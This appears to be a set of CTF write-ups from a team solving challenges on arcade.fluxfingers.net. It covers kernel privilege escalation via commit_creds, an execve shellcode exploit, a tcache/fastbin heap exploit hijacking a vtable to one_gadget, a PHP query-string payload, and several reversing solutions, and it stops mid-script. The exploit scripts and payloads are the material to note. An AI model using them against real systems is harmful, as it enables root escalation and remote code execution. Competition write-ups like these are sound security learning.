emmmm, we are team based on USTC&BUPT&HIT&M4x
This is a simple kernel pwn challenge. We are able to call some function with arguments. And there is no KASLR from hints. So we call commit_creds(prepare_kernel_cred(0))
to get root then we can read flag.
babykernel bat solve.py
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: solve.py
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/usr/bin/env python
2 │ # -*- coding: utf-8 -*-
3 │
4 │ from pwn import *
5 │
6 │ vmlinux = ELF("./vmlinux", checksec = False)
7 │
8 │ pkc = vmlinux.sym['prepare_kernel_cred']
9 │ print "pkc: ", pkc
10 │ cc = vmlinux.sym['commit_creds']
11 │ print "cc: ", cc
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────
babykernel python solve.py
pkc: 18446744071579168336
cc: 18446744071579167184
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=1000(user) gid=1000(user) groups=1000(user)
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
random: fast init done
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
>
18446744071579168336
There is a good chance we will want to pass an argument?
>
0
Got call address: 0xffffffff8104ee50, argument: 0x000000
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104ee50 as funt
A miracle happened. We came back without crashing! I ev.
It is: ffff88000212c0c0
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 1
I need a kernel address to call. Be careful, though or .
>
18446744071579167184
There is a good chance we will want to pass an argument?
>
18446612132349001920
Got call address: 0xffffffff8104e9d0, argument: 0xffff80
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104e9d0 as funt
A miracle happened. We came back without crashing! I ev.
It is: 0000000000000000
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 2
uid=0(root) gid=0(root)
----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 3
Which file are we trying to read?
> /flag
Here are your 0xf bytes contents:
flag{testflag}
modify the jump offset to input, and we can control 7 bytes, so we first use 7 byte to make a read syscall to read the shellcode , and then jump to the shellcode.
from pwn import *
context.arch = 'amd64'
sc = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x00"
def decrypt(s):
sc_list = map(ord, list(s))
for i in range(len(sc_list) - 2, -1, -1):
sc_list[i] = sc_list[i+1] ^ sc_list[i]
sc = eval(repr(''.join(map(chr, sc_list))))
return sc
# io = process('./chall')
# io = process('./modified')
io = remote("arcade.fluxfingers.net", 1807)
io.recvuntil("want to flip")
io.sendline("0xbc")
io.recvuntil("byte-offset")
io.sendline("3")
io.recvuntil("win:")
asm_code = '''
pop rax
pop rdx
pop rax
xor edi, edi
syscall
'''
code = asm(asm_code)
log.info(code + "length: " + str(len(code)))
payload = decrypt('a'*(0x2e - 7) + code)
payload2 = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' + sc
# sleep(0.5)
io.send(payload)
sleep(0.5)
io.sendline(payload2)
io.interactive()
The program mmap a heap whose size is 0x2000, and it provide some choices that we can do on the heap, such as write some bytes on it, free some of it into tcache or bins(need to use write choice to fake heap on it) and choose a offset on the heap and get the value as a point to print(need to write first also). And the program malloc a heap called state and place a vtable point in it(*state = vtable
), the vatble has two function point, one is menu, the other is bye(*vtable=&bye,*(vtable+8)=&menu
), menu function is called every time the loop.
After know that, we can easily leak the address of libc、heap and the mmaped heap by faking some heap and free them into fastbin and unsortbin(i didn't do them by using tcache because my local environment dosen't have tcache).
The free choice dosen't check the address is within the mmaped heap or not. So we can free arbitrary address, our target is state, state is a fastbin of size 0x20,we can hijack state->fd point to a fake heap we free into fastbin before it, vtable places in state->fd, and i pce one_gadget in the fake heap. After that, when the program call menu *((state->vtable)+8)()
, it will call one_gadget.
from pwn import*
def write_heap(length, offset, data):
p.recvuntil("[5] : exit\n")
p.sendline("1")
p.recvuntil("How much do you want to write?\n")
p.sendline(str(length))
p.recvuntil("At which offset?")
p.sendline(str(offset))
sleep(1)
p.send(data)
def free_heap(offset):
p.recvuntil("[5] : exit\n")
p.sendline("3")
p.recvuntil("At which offset do you want to free?\n")
p.sendline(str(offset))
def leak_heap(offset):
p.recvuntil("[5] : exit\n")
p.sendline("4")
p.recvuntil("At which offset do you want to leak?\n")
p.sendline(str(offset))
p.recvuntil("a"*16)
addr = u64(p.recv(6).ljust(8,'\x00'))
return addr
def leak_heap1(offset):
p.recvuntil("[5] : exit\n")
p.sendline("4")
p.recvuntil("At which offset do you want to leak?\n")
p.sendline(str(offset))
addr = u64(p.recv(6).ljust(8,'\x00'))
return addr
#p = process("./heap_heaven_2")
p = remote("arcade.fluxfingers.net",1809)
x = (p64(0x00) + p64(0x21) + "2"*0x10 + p64(0x00) + p64(0x91) + "1"*0x80)*8
write_heap(len(x),0x1000,x)
free_heap(0x1000+0x10)
free_heap(0x1000+0x10+0xb0)
free_heap(0x1000+0x10+0xb0*2)
free_heap(0x1000+0x10+0xb0*3)
free_heap(0x1000+0x10+0xb0*4)
free_heap(0x1000+0x10+0xb0*5)
free_heap(0x1000+0x10+0xb0*6)
heap1 = p64(0x00) + p64(0x21) + "1"*0x10
heap2 = p64(0x00) + p64(0x21) + "2"*0x10
heap3 = p64(0x00) + p64(0x421) + "3"*0x410
heap4 = p64(0x00) + p64(0x21) + "4"*0x10
heap5 = p64(0x00) + p64(0x21) + "5"*0x10
heap6 = p64(0x00) + p64(0x31) + "6"*0x20
data1 = heap1 + heap2 + heap3 + heap4 + heap5 + heap6
data2 = "a"*16
write_heap(len(data1),0,data1)
write_heap(len(data1),0x800,data1)
write_heap(len(data1),0x1800,data1)
free_heap(0x1800 + len(heap1) + 0x10) #heap2
free_heap(0x1800 + len(heap1 + heap2 + heap3) + 0x10) #heap4
free_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10)#heap5
write_heap(len(data2),0x1800+len(heap1 + heap2 + heap3),data2)
mmap = leak_heap(0x1800 + len(heap1 + heap2 + heap3 + heap4) + 0x10) & 0xFFFFFFFFFF
mmap -= len(heap1)
mmap -= 0x1800
print "mmap: " + hex(mmap)
free_heap(len(heap1 + heap2) + 0x10)#heap3
addr2 = leak_heap1(len(heap1 + heap2) + 0x10)
heap = addr2 - 0x290
print "heap: " + hex(heap)
free_heap(len(heap1 + heap2) + 0x10 + 0x800)
write_heap(17,len(heap1 + heap2),"a"*17)
addr1 = leak_heap(len(heap1 + heap2) + 0x10 + 0x800) &0xffffffffff00
libc = addr1 - 0x01BEB00
one = 0xe75f0
one += libc
print "libc:" + hex(libc)
write_heap(len(p64(heap+0x290-0x10)),0x700,p64(heap+0x290-0x10))
func = leak_heap1(0x700)
print hex(func)
write_heap(len(p64(one))*2,0x1800 + len(heap1 + heap2 + heap3 + heap4),(p64(one)*2))
target = heap + 0x290 -0x30
free_heap(target - mmap)
p.interactive()
https://arcade.fluxfingers.net:1819/?msg=data:text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337x&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=emmm&k1=2&bb=var_dump($flag);//
flag{7c217708c5293a3264bb136ef1fadd6e}
We know that it is a bios rom
from the result of strings ./rom
.
So we run it using qemu-system-i386 -nographic -bios ./rom
and debugging with qemu-system-i386 -nographic -bios ./rom -s -S
.
After attaching to the rom, we're able to dump the code in gdb using dump binary memory dump.bin 0x100000 0xffffff
we know the start address is 0x100000 because "Jumping to boot code at 00100000(07fd7000)"
Then we open dump.bin with IDA and rebase it to 0x100000. After searching strings, we find an interesting function like:
void __cdecl __noreturn sub_10009E(char a1)
{
char *a1a; // [esp+4h] [ebp-14h]
print("FLAG if hit confirmed:");
if ( (unsigned int)(data[19] ^ data[24]) < data[32] || (unsigned int)(data[19] ^ data[24]) > data[33] )
{
print("address out of scope!");
sub_100160();
}
a1a = (char *)malloc(64);
copy_str(a1a, (char *)(data[19] ^ data[24]));
if ( *a1a )
print(a1a);
else
print("MISSED!");
sub_100160();
}
So we set a breakpoint at 0x100128
, which is:
seg000:00100122 push [ebp+a2] ; a2
seg000:00100125 push [ebp+a1] ; a1
seg000:00100128 call copy_str
seg000:0010012D add esp, 10h
When we take a look in the debugger, we found the arg2 in copy_str
points NULL, that's why the rom always prints MISSED!
.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────[ REGISTERS ]──────────────────────
EAX 63 —▸ 0 ◂— 0x0
EBX 0x7ff3798 —▸ 0x7fef0d9 —▸ 0x505f5342 —▸ 0 ◂— 0x0
ECX 0x1086e8 —▸ 0x26c0 —▸ 0 ◂— 0x0
EDX 0 ◂— 0x0
EDI 0x100000 —▸ 0x906622eb —▸ 0 ◂— 0x0
ESI 0x1b8 —▸ 0 ◂— 0x0
EBP 0x10d498 —▸ 0x7ff4fd8 —▸ 0xa0000 —▸ 0 ◂— 0x0
ESP 0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
EIP 0x100128 —▸ 0x3d68e8 —▸ 0 ◂— 0x0
───────────────────────[ DISASM ]───────────────────────
► 0x100128 call 0x103e95
0x10012d add esp, 0x10
0x100130 mov eax, dword ptr [ebp - 0x14]
0x100133 movzx eax, byte ptr [eax]
0x100136 test al, al
0x100138 jne 0x10014c
0x10013a sub esp, 0xc
0x10013d push 0x10500d
0x100142 call 0x103ca3
0x100147 add esp, 0x10
0x10014a jmp 0x10015a
───────────────────────[ STACK ]────────────────────────
00:0000│ esp 0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
01:0004│ 0x10d474 —▸ 0xc8000 —▸ 0 ◂— 0x0
02:0008│ 0x10d478 —▸ 63 —▸ 0 ◂— 0x0
03:000c│ 0x10d47c —▸ 1 —▸ 0 ◂— 0x0
04:0010│ 0x10d480 —▸ 0x1b8 —▸ 0 ◂— 0x0
05:0014│ 0x10d484 —▸ 0x1086a8 —▸ 0 ◂— 0x0
06:0018│ 0x10d488 —▸ 0xc8000 —▸ 0 ◂— 0x0
07:001c│ 0x10d48c —▸ 64 —▸ 0 ◂— 0x0
Breakpoint *0x100128
pwndbg> x/s 0xc8000
0xc8000: ""
So we search flag
and found that:
pwndbg> find /w 0xa0000, 0xe0000, 0x67616c66
0xc0000
1 pattern found.
pwndbg> x/3s 0xc0000
0xc0000: "flag{xxxxxxxxxx"...
0xc000f: 'x' <repeats 15 times>...
0xc001e: "xxxxxx}"
Clearly, if we change data[19] ^ data[24] == 0xc0000
, we will get flag.
There are two options:
Finally, option 2 works.
1-bit-missile nc arcade.fluxfingers.net 1816
Enter target byte [0 - 262143]: 194401
]> 10111111 <[
Enter target bit: [0 - 7]: 7
}X> ---------------------------------------{0}
]> 00111111 <[
......
flag{only_cb_can_run_this_simple_elf}
The program do a simple sequential xor encryption to our input and compare it with a const string. Just decrypt it to get flag
enc = "\x0a\x0d\x06\x1c\"8\x18&6\x0f9+\x1cYB,6\x1a,&\x1c\x17-9WC\x01\x07+8\x09\x07\x1a\x01\x17\x13\x13\x17-9\x0a\x0d\x06F\\}"
encl = map(ord, list(enc))
for i in range(len(encl) - 2, -1, -1):
encl[i] = encl[i+1] ^ encl[i]
print repr(''.join(map(chr, encl)))
The program has encrypted code. And the check function is called after __libc_start_main
function.
The entry function compare /proc/self/exe
and /proc/self/maps
to get the address where program is loaded. After that, program decrypt itself and start to execute decrypted code.
I debug the program and find the verification happens in the function at offset 0x2190. Just reverse it.
The decryption is quite simple as below.
enc = "\xdf\x98\xe2\x08\xcc\xbb\xeb\xac\x8c\xb2\xaa\xca\x85\xe3\xb2]\xea\x87\x99\xc1Kx\xb8\xe9\xea\x1d^\xd5S\xf8\x0f\x09\xd9\xde\x05|i\x1am\xbdo\x8c4\xd4tN\x1c$]\x83\x1dJ\xa7\xc8l\xc2C\xb6"
table = 'O\xb0\xab6\x1e\xb9Y\x88\xa1\xe1\xf4\xef/\x97w\x834\xa8\xe1po,\xbe\x06\xc6\xb7\xd2\xa3$\x1e\xf1x\xed\xdcO\x9e\xa0\xb2\xf6\x10\xdf\xbe3\xb4\x88\xf8\xeb\xe2\xc0\x1c\xed\x07\x0e\xe5\xb4\xde\x07\xeej\\\xb3\xe87q\x8b\xf5n\xf33\xf0\x86P\xf5\x15\x8b\xed\x84w\x1e{\x02\xe0V^\x93\xba\x1a\x8c\x0f\xd2\xeb\x16\xb3\x83\x98\xfc\xd2\x81\x87\xf3\xa0\'ZO\xe28o\xa0l\xdd\x1d\x11ei\xde\xe7\'\x89\xe2\x95\xb6H9\x00\xf1\x8b`\x1f\xfd\x8bs\x8f}h\xd7:\x19m:\x02\x8a\xc5\x90%\x8c\'wt\x8c\xeb\x90\x1fz%\xf8ja\x8cL\xa6V\x0c\xfbJe\xb4\xeb\x12\x9d\'\xb7B\x8d\x9d\xecv\x96\x8e\xca\x86\x0f\xb2\xc4\x14\x9f\x05\xba\xa7Cz\x7f+\xf936\x1e\xcfUc\x8a\xe2;h\x02?\x18\xd9\xbbm\x8d\xe5K\xbe\x8flX\x1d\xfe\x17b\xb8\xa6\x8f\xb0\xf7+\x14\xc0\xb6\xf0,%\x02/+y\xd8AfR{\xc6\x88rG1\x0c7n4\xe2,\xd4\x95Ch\t&\xbb\x93$?ZfA\xc4\xdc\xaf\xf4\xa2\xa0\x00U#\x1a\t<Q\xa0\xfa\xa6\xdaL)Zm$\x94\x98`\xcb\x19N\xe72|\x98Ln\n!\xcd\x8e\xa8ss\x15\x0bU\xad\xb9"S#3?(\xb5PdV\xc8]N\x89*_\xe5\x94\xe6{\xc4\x15\x1bBpK\x19\x0f\xec\rO\x9a\x1fm?\x10\x1e\x03\x98\x8b\x1bV"'
for j in range(0x40):
res = ''
for i in range(0x3a):
res += chr(ord(enc[i]) ^ ord(table[j + i * 5]))
print res
Note that the value of j
is decided by following code. The result is relative to trapped flag(0x100). If the program is under debug the value of j is 0x40, ohterwise it's 5. I just brutefore it XD.
0x00002222 9c pushfd
0x00002223 5a pop edx
0x00002224 89d1 mov ecx, edx
0x00002226 81e100010000 and ecx, 0x100
0x0000222c 31ca xor edx, ecx
0x0000222e c1c902 ror ecx, 2
0x00002231 31ca xor edx, ecx
0x00002233 52 push edx
0x00002234 89c2 mov edx, eax
0x00002236 9d popfd
0x00002237 0f44d1 cmove edx, ecx // j
This challenge is about QT Reverse engineering. The snake game is not verified until we enter a valid license.
It's easy to find the verification by searching error message 'This is a valid License'
. The program will decrypt a png encrypted with AES if the license is valid. So we need to find the correct input.
The check function is a QT slot function, which is triggered by relative signal
function(fileoffset 0x40E0). The signal function will call activate
, which will find slot function with data stored in QMetaObject, and then call it.
There are two way to find the slot function:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int enc_byte(c, magic) {
char tmp = ((magic >> 2) | (magic << 6)) ^ 0xAE;
tmp = ((tmp << 5) | (tmp >> 3)) ^ 0x66;
char res = c ^ ~((tmp >> 1) | (tmp << 7) | (c >> 4));
return res;
}
int decrypt(char *enc, char *buf, char fb) {
char magic = fb;
int i, j;
size_t nbytes = strlen(enc);
printf("decrypting %d bytes\n", nbytes);
for (i = 0; i < nbytes; i++) {
for (j = 0x20; j < 0x7f; j++) {
if (enc_byte(j, magic) == enc[i]) {
buf[i] = j;
magic = ~enc[i];
break;
}
}
}
return 0;
}
int main() {
char s[] = {1, 0x95, 'f', '>', 0x1b, 'V', 'd', ',', '(', '\n', 0x9a, 4, 0xad, 0xc, 0xc8, 0xd9, 0};
char res[0x100] = {0};
int fb;
for (fb = 0x20; fb < 0x7f; fb++) {
if (enc_byte(fb, fb) == s[0]) {
printf("first byte: 0x%x\n", fb);